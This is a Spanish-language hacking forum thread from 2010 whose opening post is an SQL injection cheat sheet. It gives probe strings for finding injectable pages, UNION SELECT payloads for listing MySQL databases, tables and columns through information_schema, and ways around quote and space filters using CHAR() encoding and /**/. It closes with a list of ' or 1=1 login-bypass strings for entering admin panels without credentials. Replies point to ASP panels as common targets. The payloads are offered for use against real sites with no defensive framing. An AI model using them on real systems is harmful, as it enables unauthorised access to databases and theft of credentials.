Página 1 de 1

SQLi - Si algo mas...

Publicado: 08 Dic 2010, 17:26
por EvilArt
[Enlace externo eliminado para invitados] que hablan sobre sql injection, aquí mas que un manual (o tutorial) pondré algunas cosas que pueden resultar interesantes.

Pagina vulnerable.

¿como saberlo? Existes varias forma la mas común es usar la comilla simple ‘ en varias paginas esto no funcionara así que también podemos usar:

Código: Seleccionar todo

    '
    )
    --
    -- -
    /*
    and 2=9
combinaciones:

Código: Seleccionar todo

    '))--
    and 8=3 --
    ") )
    etc…
Diferentes formas de sacar información.

en este sentido existes muchas maneras de hacerlo en algunas ocasiones podemos darnos el lujo de usar la que mas nos guste en otras por cuestiones de filtros o por la “seguridad” de la pagina tendremos que usar alguna que para el caso nos funcione.

Datos útiles.

Podemos usar los que a continuación pondré para poder saber algunos datos que nos ayudaran bastante.

Código: Seleccionar todo

    version() - versión del servidor MySQL.
    database() - nombre de la base de datos actual.
    @@datadir - directorio de la base de datos.
    current_user() - nombre de usuario y el del host para el que está autentificada la conexión actual.
    connection_id() - ID de una conexión.

y se usaría así mas o menos:

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,VERSION()
    usando CONCAT_WS para que nos muestre todo lo que queramos de una vez:
    -1 UNION SELECT 1,CONCAT_WS(CHAR(42),VERSION(),DATABASE(),CURRENT_USER())


el resultado aparecería separado por * (asterisco) CHAR(42) equivale a *.

Illegal mix of collations…

¿como evitarlo?

Código: Seleccionar todo

    aes_decrypt(aes_encrypt(,1),1)
    convert( using latin1)
    unhex(hex())
Ejemplos:

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,aes_decrypt(aes_encrypt(VERSION(),1),1)
    -1 UNION ALL SELECT 1,convert(VERSION() using latin1)
    -1 UNION ALL SELECT 1, unhex(hex(VERSION()))


MySQL 5.

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,table_name FROM information_schema.tables


Si esa consulta no regresa al nombre de alguna tabla entonces vamos bien.

Código: Seleccionar todo

    -1 UNION ALL SELECT TABLE_SCHEMA,table_name FROM information_schema.tables


Debería regresarnos el nombre de una tabla y el nombre “information_schema”. Cone sto tenemos el nombre de la primera tabla information_schema.

Código: Seleccionar todo

    -1 UNION ALL SELECT TABLE_SCHEMA,table_name FROM information_schema.tables WHERE TABLE_SCHEMA NOT IN ("information_schema")


nos regresaría el nombre de otra base de datos lo que tendríamos que hacer continuación para seguir sacando las demás bases de datos seria ir agregando las que vallan saliendo de esta forma:

Código: Seleccionar todo

    -1 UNION ALL SELECT TABLE_SCHEMA,table_name FROM information_schema.tables WHERE TABLE_SCHEMA NOT IN ("information_schema","dbtest")


Donde dbtest es la otra base de datos que encontramos, iremos agregando hasta que ya no saque mas entonces quiere decir que ya las tenemos todas.

Sacando tabla y columna de alguna de las bases de datos que obtuvimos:

Código: Seleccionar todo

    -1 UNION ALL SELECT TABLE_NAME,COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA = "dbtest"


Y nos tendría que dar el nombre de una tabla y una columna, suponiendo que la tabla que nos dios y la columnas son Admin e id:

Código: Seleccionar todo

    -1UNION ALL SELECT TABLE_NAME,COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA = "dbtest" AND TABLE_NAME = "Admin" AND COLUMN_NAME NOT IN ("id")


aquí haríamos lo mismo que hicimos con las bases de datos solo iríamos agregando las columnas que nos salieron has que no salga ninguna.

Usando Limit.

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,SCHEMA_NAME,3 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1


Obtendríamos la primera base de datos, pa ir sacando solo es cuestión de ir aumentado el número:

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,SCHEMA_NAME,3 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1
    -1 UNION ALL SELECT 1,SCHEMA_NAME,3 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1
    etc…

Cuando ya no nos regrese nada entonces ya tendremos todas las bases de datos, las tablas:

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=”base_de_datos” limit 1,1


ejemplo:

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="dbtest" limit 1,1


esto funciona igual que lo anterior solo se va incrementando el numero, columnas:

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="nombre_de_la_tabla" limit 1,1
ejemplo:

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="Admin" limit 1,1
Nota: Si la pagina no te acepta las comillas puedes usar CHAR, ejemplo:

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=CHAR(65,100,109,105,110) limit 1,1


CHAR(65,100,109,105,110) equivale a Admin

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=CHAR(100,98,116,101,115,116) limit 1,1

CHAR(100,98,116,101,115,116) equivale a dbtest

Usando GROUP_CONCAT.

Para sacar las bases de datos:

Código: Seleccionar todo

    -1 UNION SELECT 1,GROUP_CONCAT(SCHEMA_NAME),3 FROM INFORMATION_SCHEMA.SCHEMATA
Para las tablas:

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="NOMBRE_BASE_DE_DATOS"

Para las columnas:

Código: Seleccionar todo

    -1 UNION ALL SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="NOMBRE_DE_LA_TABLA"
Nota: Igual que en la anterior si no acepta las comillas puedes usar CHAR.

+ y /**/.

Son representación de espacio se usan de la siguiente forma:

Código: Seleccionar todo

-1+UNION+ALL+SELECT+1,GROUP_CONCAT(TABLE_NAME),3+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA="NOMBRE_BASE_DE_DATOS"

Código: Seleccionar todo

    -1/**/UNION/**/ALL/**/SELECT/**/1,GROUP_CONCAT(TABLE_NAME),3/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA="NOMBRE_BASE_DE_DATOS"



El clásico USER/PASS, ¿podemos entrar sin saber los datos correctos?.



Si es vulnerable claro que si podemos intentar con cualquiera de las siguientes:

Código: Seleccionar todo

    ' or 1=1 or ''='
    ' OR ''='
    ' or 1=1 --
    ' or 1=1#
    ' or 1=1/*
    ' OR 1=1
    ') or '1'='1--
    " OR 1=1 –
    ') or ('1'='1--
    'OR 'x'='x
    " or 1=1--
    OR true—
    or 1=1—
SQLi esta muy explicado pero esto que pongo al menos a mi me ha servido de guia.

Saludos.

Re: SQLi - Si algo mas...

Publicado: 12 Dic 2010, 21:20
por Skillmax
El clásico USER/PASS, ¿podemos entrar sin saber los datos correctos?.


- Respecto a esto, suele hacerse en paneles asp, y muchas estan protegidas (hablando de web's más o menos visitadas)

- Hay muchas inyecciones más a parte de esas, también puede usarse usando de usuario admin y combinando or, o las combinaciones que aparecen hay.

- También pueden fijarse, que en algunos paneles asp pre-fabricados, o simples fabricados por el web-master de la web, al error pueden contener algún SQL o XSS, aprovechable.




Re: SQLi - Si algo mas...

Publicado: 13 Dic 2010, 15:37
por MichBukana
Gracias por la info

Salu2!

Re: SQLi - Si algo mas...

Publicado: 16 Dic 2010, 23:06
por Spectrus
Buena información, me gusto mucho. Gracias.


Re: SQLi - Si algo mas...

Publicado: 24 Dic 2010, 04:30
por FahDs
Buena info!!

Re: SQLi - Si algo mas...

Publicado: 24 Dic 2010, 10:19
por $DoC
un post muy detallado y bien explicado, gracias! también a tí Skillmax

saludos!!